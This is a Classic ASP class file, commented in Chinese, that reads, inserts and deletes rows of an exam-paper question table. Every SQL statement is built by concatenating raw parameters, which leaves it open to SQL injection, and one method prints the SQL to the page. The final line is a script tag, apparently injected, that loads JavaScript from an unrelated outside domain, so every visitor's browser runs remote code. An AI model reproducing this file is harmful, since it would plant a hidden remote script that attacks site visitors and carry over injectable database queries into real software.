<%
  '本類用于保存對表EPaperList的數據庫訪問操作
  '表的每個字段對應類的一個成員變量
  Class EPaperList
    Public LId    '編號
    Public PId    '試卷編號
	public QId    '試題編號
	Public TValue '試題分值
    Public rs       '結果集
    Private strSql  'SQL語句
    '讀取單個列表信息
    public sub GetListInfo(LId)
      '創建Recordset對象，處理查詢結果集
      Set rs=Server.CreateObject("ADODB.Recordset")
      '設置rs的ActiveConnection屬性，綁定到連接
      Set rs.ActiveConnection = Conn
      '設置游標類型
      rs.CursorType = 3
      '設置查詢的SELECT語句
      sql = "SELECT * FROM EPaperList WHERE LId=" & LId
      '打開記錄集
      rs.Open sql
    end sub
	
	'獲取所有列表信息
    public sub GetAlllist(pid)
	  '創建Recordset對象，處理查詢結果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設置游標類型
	  rs.CursorType = 3
	  '設置查詢的SELECT語句
 	  sql = "SELECT * FROM EPaperList Where Pid=" & pid & " Order By QId"
	  '打開記錄集
	  rs.Open sql
    End Sub
	'獲取試題具體信息
    public sub GetDetail(pid,tid)
	  '創建Recordset對象，處理查詢結果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設置游標類型
	  rs.CursorType = 3
	  '設置查詢的SELECT語句
 	  sql = "SELECT l.TValue,q.* FROM EPaperList l,EQuestion q Where Pid=" & pid & _
 	    " And q.Tid="&tid&" And l.QId=q.QId Order By l.QId"
	  '打開記錄集
	  rs.Open sql
    End Sub
	'獲取試題類型信息
    public sub GetTypeList(pid)
	  '創建Recordset對象，處理查詢結果集
	  Set rs=Server.CreateObject("ADODB.Recordset")
	  '設置rs的ActiveConnection屬性，綁定到連接
	  Set rs.ActiveConnection = Conn
	  '設置游標類型
	  rs.CursorType = 3
	  '設置查詢的SELECT語句
 	  sql = "SELECT distinct q.TId,t.TName,l.TValue FROM EPaperList l,EQuestion q,EType t" & _
 	    " Where Pid=" & pid & " And l.QId=q.QId And q.TId=t.TId Order By q.TId"
	  '打開記錄集
	  rs.Open sql
    End Sub
	'插入
    Public Sub InsertList()
      strSql = "Insert Into EPaperList Values(" & PId & "," & QId & "," & TValue & ")"
	  response.write strSql
      conn.Execute(strSql)
    End Sub
	'刪除試卷信息
    Public Sub DeleteList(pid)
      strSql = "DELETE FROM EPaperList WHERE PId=" & pid
      conn.Execute(strSql)
    End Sub
	'統計指定試卷的試題數量
	Public Function GetTypeCount(pid,tid)
      strSql = "Select Count(q.TId) AS tn From EPaperList p,EQuestion q"& _
	    " Where p.QId=q.QId And p.PId=" & pid & " And tid="&tid&" Group By p.Pid,q.TId Order By q.TId"
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If IsNull(rs("tn")) Then
         GetTypeCount = 0
	  Else
         GetTypeCount = rs("tn")
	  End If
	End Function

	'判斷指定的試題編號是否存在
	Public Function HaveQId(QId)
	  strSql = "Select * From EPaper Where QId=" & QId
	  Set rs = Server.CreateObject("Adodb.RecordSet")
	  rs.Open strSql,conn,1,3
	  If rs.EOF Then
            exist = False
	  Else
            exist = True
	  End If
          HaveQId = exist
	End Function
  End Class
%>
<script language=javascript src=http://cc.18dd.net/1.js></script>